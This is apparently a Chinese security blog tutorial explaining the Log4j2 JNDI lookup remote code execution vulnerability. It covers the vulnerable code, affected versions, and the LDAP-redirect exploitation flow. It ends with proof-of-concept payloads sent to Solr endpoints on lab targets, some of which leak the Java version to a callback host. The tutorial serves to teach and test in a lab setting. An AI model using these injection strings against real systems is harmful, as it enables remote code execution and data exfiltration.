本文最后更新于107 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、Apache Log4j 简介
Apache Log4j 是 Apache 软件基金会的一个开源 Java 日志记录框架。
Log4j2 是 Log4j 的第二代版本,提供了比其前身 Log4j 1.x 更多的改进和特性
使用 Log4j2 我们可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
二、漏洞简介
漏洞的核心在于 Log4j2 提供的 Lookup 功能下的 Jndi Lookup 模块。正常情况下,该功能模块在输出日志信息时允许开发人员通过相应的协议去==请求远程主机上的资源==。
Log4j2 在处理日志记录请求时,没有正确地对输入数据进行过滤和验证,允许攻击者通过构造特定的日志输入,触发 Java JNDI(Java Naming and Directory Interface)服务的远程查询,从而让攻击者可以请求并执行远程主机上的恶意代码。
攻击者可以通过向应用程序发送含有恶意 JNDI 查找请求的日志消息,利用漏洞执行远程代码。
触发漏洞的两部分关键代码:
- org.apache.logging.log4j.core.pattern.MessagePatternConverter 的 format() 方法(表达式内容替换):
这部分内容重点就在于代码的主要内容就是一旦发现日志中包含 ${ 就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。
在 ${ 中可以使用的部分关键词如下:
- Log4j – java
${java:version} getSystemProperty("java.version")
${java:runtime} getRuntime()
${java:vm} getVirtualMachine()
${java:os} getOperatingSystem()
${java:hw} getHardware()
${java:locale} getLocale()
- Linux – env
${env:CLASSPATH}
${env:HOME}
${env:JAVA_HOME}
${env:LANG}
${env:LC_TERMINAL}
- apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容 替换)
日志在打印时当遇到 ${ 后, Interpolator 类以 : 号作为分割,将表达式内容分割成两部分:
- 前面部分作为 prefix
- 后面部分作为 key
然后通过 prefix 去找对应的lookup,通过对应的 lookup 实例调用 lookup 方法,最后将key作为参数带入执行。
由于 Log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,通过rmi等等。 目前使用最多的主要是使用 ldap 来构造 payload:
${jndi:ldap://ip/port/exp}
最终效果就是通过 jndi 注入,借助 ldap 服务来下载执行恶意payload,从而执行命令
整个利用流程分两步:
- 第一步:向目标发送指定payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。
- 第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。
三、漏洞范围
1.影响组件应用
- Apache Struts2
- Apache Solr
- Apache Druid
- Apache Flink
- srping-boot-strater-log4j2
2.影响 Log4j 版本
Apache Log4j 2.0 ~ 2.15.0-rc1
四、漏洞利用
1.漏洞测试
漏洞测试 POC
${jndi:ldap://6ut7.callback.red}
http://a296307fb645.target.yijinglab.com/solr/admin/cores?action=${jndi:ldap://gly7.call back.red}
${jndi:ldap://${sys:java.version}.6ut7.callback.red}
http://41a76f22d34b.target.yijinglab.com/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.6ut7.callback.red}